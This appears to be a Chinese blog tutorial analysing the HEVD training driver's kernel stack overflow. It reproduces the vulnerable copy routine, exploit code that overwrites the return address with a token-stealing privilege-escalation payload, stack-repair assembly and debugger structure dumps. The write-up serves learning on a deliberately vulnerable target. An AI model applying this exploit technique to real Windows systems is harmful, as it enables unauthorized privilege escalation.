首先还是需要感谢一下,HEVD这个工具的编辑者,这是一个很好的漏洞集合,对于研究系统的各类漏洞有很大的帮助,而且还有很漏洞的expolit。总之香喷喷
接下来开始正式分析:
第一步,加载我们的漏洞驱动,也就是Driver项目生成的.sys文件,加载工具选择KMD,如下图所示(我是通过Windbg进行双机调试来调试驱动文件,所以在此之前需要首先调试设置双机调试的环境)
驱动加载成功后,在Windbg里边检查一下,是否加载成功:
执行命令:
lm m H*
(我这里之所以显示 Unloaded 是因为 我加载了之后没有运行这个驱动文件)
2、我们首先要清楚一点:就是我们加载驱动文件的目的是什么:就是在系统中创建一个漏洞(栈溢出漏洞的点),然后通过利用程序去出发这个漏洞,所以接下来我们的任务就是去分析这个驱动文件,找到这个漏洞的点;
在这里还有一个小点插入一下:因为我们的驱动文件(.sys文件)是我们自己本地编译生成的,所以在使用Windbg调试的时候也可以把我们的符号文件添加进去,这样的话,识别度高,而且分析方便,那么怎么加载我们自己的应用程序的pdb文件呢:
执行以下命令:
.sympath+ pdb文件的路径
或者通过设置符号路径,添加pdb文件路径,之后执行
.reload //命令,重新加载符号文件
接下来 言归正传,我们分析驱动文件中的栈溢出的漏洞点,我们通过.sys文件的源程序来分析,查看BufferOverflowStack.c文件
__try
{ //
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
#ifdef SECURE
// Secure Note: This is secure because the developer is passing a size
// equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
// there will be no overflow
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
DbgPrint("[+] Triggering Buffer Overflow in Stack\n");
//
// Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
// because the developer is passing the user supplied size directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of KernelBuffer
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
在进行漏洞点的查找之前,我们需要先清楚,造成栈溢出的常见点是什么?无非就是数据拷贝,造成缓冲区溢出,那我们就朝这个方向找,其实在这个驱动文件的注释里边也已经详尽的提示了漏洞点:
#ifdef SECURE
// Secure Note: This is secure because the developer is passing a size
// equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
// there will be no overflow
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
//
#else
DbgPrint("[+] Triggering Buffer Overflow in Stack\n");
//
// Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
// because the developer is passing the user supplied size directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of KernelBuffer
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
在安全的驱动代码中,数据复制到时候,会对复制到缓冲区的数据进行限制,而危险代码中,复制数据的操作并没有对数据缓冲区的大小进行限制,复制的数据大小是用户定义的数据大小,这里就是一个很明显的漏洞溢出的点。我们完全可以在复制数据的时候,冲破缓冲区以此来制造溢出。
3、找到漏洞点之后,我们还有一件非常重要的事情就是,需要了解整个程序的调用过程,也就是说解析溢出漏洞怎样才能触发:
(这里其实是出现一点小插曲的,在使用HEVD这个工具的时候,提供漏洞的驱动文件是我自己用源码编译生成的,但是在实际操作的时候,自己编译的驱动程序往往提权不成功,在反编译分析之后 发现源文件中提到的漏洞点在编译之后生成的驱动文件中已经不存在了,如下图所示):
后来替换成为,用项目包中自带的Driver.bat文件生成的驱动文件可以提权成功。(到现在也没想清楚是什么原因。可能是编译器的问题,之后会补上关于这一问题的思考)
继续言归正传分析(分析使用.bat文件生成的驱动文件):
之所以需要注意KernelBuffer的大小是因为,这里将会是我们的攻击点(也就是expolit程序的攻击点)。
4、接下来我们分析一下,利用程序的源代码,看一下利用过程:
DWORD WINAPI StackOverflowThread(LPVOID Parameter) {
HANDLE hFile = NULL;
ULONG BytesReturned;
PVOID MemoryAddress = NULL;
PULONG UserModeBuffer = NULL;
LPCSTR FileName = (LPCSTR)DEVICE_NAME;
PVOID EopPayload = &TokenStealingPayloadWin7;
SIZE_T UserModeBufferSize = (BUFFER_SIZE + RET_OVERWRITE) * sizeof(ULONG);
__try {
// Get the device handle
DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName);
hFile = GetDeviceHandle(FileName);
if (hFile == INVALID_HANDLE_VALUE) {
DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
}
DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");
DEBUG_INFO("\t\t[+] Allocating Memory For Buffer\n");
UserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
UserModeBufferSize);
if (!UserModeBuffer) {
DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", UserModeBuffer);
DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", UserModeBufferSize);
}
DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n");
RtlFillMemory((PVOID)UserModeBuffer, UserModeBufferSize, 0x41);
MemoryAddress = (PVOID)(((ULONG)UserModeBuffer + UserModeBufferSize) - sizeof(ULONG));
*(PULONG)MemoryAddress = (ULONG)EopPayload;
DEBUG_INFO("\t\t\t[+] RET Value: 0x%p\n", *(PULONG)MemoryAddress);
DEBUG_INFO("\t\t\t[+] RET Address: 0x%p\n", MemoryAddress);
DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload);
DEBUG_MESSAGE("\t[+] Triggering Kernel Stack Overflow\n");
OutputDebugString("****************Kernel Mode****************\n");
DeviceIoControl(hFile,
HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
(LPVOID)UserModeBuffer,
(DWORD)UserModeBufferSize,
NULL,
0,
&BytesReturned,
NULL);
OutputDebugString("****************Kernel Mode****************\n");
HeapFree(GetProcessHeap(), 0, (LPVOID)UserModeBuffer);
UserModeBuffer = NULL;
}
__except (EXCEPTION_EXECUTE_HANDLER) {
DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
return EXIT_SUCCESS;
}
其实整个利用程序非常简单,具体我们只看以下几个点:
1:
SIZE_T UserModeBufferSize = (BUFFER_SIZE + RET_OVERWRITE) * sizeof(ULONG);
这里设置的是用户的缓冲区大小,之后会在这里存放payload 这块缓冲区的大小:(512+9)*4=2057 ,至于为什么是这个大小:我们要知道,我们要覆盖的KernelBuffer的大小是0x800,也就是2048,那为什么还要多出9字节的空间呢?这是因为,程序需要这9个字节来回复栈帧,让程序继续顺利的执行:
xor eax, eax ; Set NTSTATUS SUCCEESS
add esp, 12 ; Fix the stack
pop ebp ; Restore saved EBP
ret 8 ; Return cleanly
2:接下来就是一些提示性输出语句,没有什么分析的必要性,之后需要注意的一点就是,程序在进程的默认堆里边申请了一块大小为UserModeBufferSize的堆空间,之后用0x41将这片堆空间填充。
UserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
UserModeBufferSize);
RtlFillMemory((PVOID)UserModeBuffer, UserModeBufferSize, 0x41);
3:继上一步的填充空间之后的操作是移动指针,将空间用提前设计好的payload填充:
MemoryAddress = (PVOID)(((ULONG)UserModeBuffer + UserModeBufferSize) - sizeof(ULONG));
*(PULONG)MemoryAddress = (ULONG)EopPayload;
往往在动态调试的过程中更容易发现程序在运行过程中的异常:通过以上代码可以发现,在覆盖之后移动指针,然后将payLoad的地址赋给最后4字节,如下图所示:
4:之后就是像驱动程序传递参数:
DeviceIoControl(hFile, //驱动设备的句柄
HACKSYS_EVD_IOCTL_STACK_OVERFLOW, //选择参数 对应驱动程序的switch case结构
(LPVOID)UserModeBuffer,//执向包含payLoad的指针
(DWORD)UserModeBufferSize,//传递给驱动程序,这个缓冲区的大小就是用来覆盖KernelBuffer的
NULL,
0,
&BytesReturned,
NULL);
5、加载运行项目里边的expolit.exe程序,并且查看整个覆盖过程,这就需要我们在TriggerBufferOverflowStack这个函数下断点 执行命令:
bp HEVD!TriggerBufferOverflowStack
下了断点之后,再重新让系统跑起来(执行命令g)
接下来执行expolit程序:
命中断点:
接下来进行单步调试(命令p)
覆盖之前的目的地址(KernelBuffer)
覆盖之后的数据:
执行payload的地址:
到这里,其实整个过程已经分析的差不多了,最后还有一个问题就是,栈溢出的过程,这个就不详细分析了,栈溢出的过程以及覆盖返回地址和前栈帧EBP这些过程就不详细解释了。
还需要注意一点就是,在动态调试exploit程序的时候需要以附加的方式打开,同时输入参数
-s -c cmd.exe
之后 还有一点没有说 就是payload的内容,除了最后的恢复栈帧相对比较重要,其他的就是对当前进程的一些操作:涉及到的主要的结构体如下
FS:[0x124]
+0x000 NtTib : _NT_TIB
+0x000 Used_ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD
+0x004 Used_StackBase : Ptr32 Void
+0x008 Spare2 : Ptr32 Void
+0x00c TssCopy : Ptr32 Void
+0x010 ContextSwitches : Uint4B
+0x014 SetMemberCopy : Uint4B
+0x018 Used_Self : Ptr32 Void
+0x01c SelfPcr : Ptr32 _KPCR
+0x020 Prcb : Ptr32 _KPRCB
+0x024 Irql : UChar
+0x028 IRR : Uint4B
+0x02c IrrActive : Uint4B
+0x030 IDR : Uint4B
+0x034 KdVersionBlock : Ptr32 Void
+0x038 IDT : Ptr32 _KIDTENTRY
+0x03c GDT : Ptr32 _KGDTENTRY
+0x040 TSS : Ptr32 _KTSS
+0x044 MajorVersion : Uint2B
+0x046 MinorVersion : Uint2B
+0x048 SetMember : Uint4B
+0x04c StallScaleFactor : Uint4B
+0x050 SpareUnused : UChar
+0x051 Number : UChar
+0x052 Spare0 : UChar
+0x053 SecondLevelCacheAssociativity : UChar
+0x054 VdmAlert : Uint4B
+0x058 KernelReserved : [14] Uint4B
+0x090 SecondLevelCacheSize : Uint4B
+0x094 HalReserved : [16] Uint4B
+0x0d4 InterruptMode : Uint4B
+0x0d8 Spare1 : UChar
+0x0dc KernelReserved2 : [17] Uint4B
+0x120 PrcbData : _KPRCB
ntdll!_KPRCB
+0x000 MinorVersion : Uint2B
+0x002 MajorVersion : Uint2B
+0x004 CurrentThread : Ptr32 _KTHREAD //所以fs:[0x124]其实是指向当前线程的_KTHREAD
+0x008 NextThread : Ptr32 _KTHREAD
+0x00c IdleThread : Ptr32 _KTHREAD
+0x010 LegacyNumber : UChar
+0x011 NestingLevel : UChar
+0x012 BuildType : Uint2B
+0x014 CpuType : Char
+0x015 CpuID : Char
+0x016 CpuStep : Uint2B
+0x016 CpuStepping : UChar
+0x017 CpuModel : UChar
+0x018 ProcessorState : _KPROCESSOR_STATE
+0x338 KernelReserved : [16] Uint4B
+0x378 HalReserved : [16] Uint4B
+0x3b8 CFlushSize : Uint4B
+0x3bc CoresPerPhysicalProcessor : UChar
+0x3bd LogicalProcessorsPerCore : UChar
参考链接:
https://rootkits.xyz/blog/2017/08/kernel-stack-overflow/
写在后面:
我渴望能够见你一面
但请你记得
我不会开口要求要见你。
这不是因为骄傲,你知道我在你面前毫无骄傲可言
而是因为,唯有你也想见我的时候,我们见面才有意义。
——波伏娃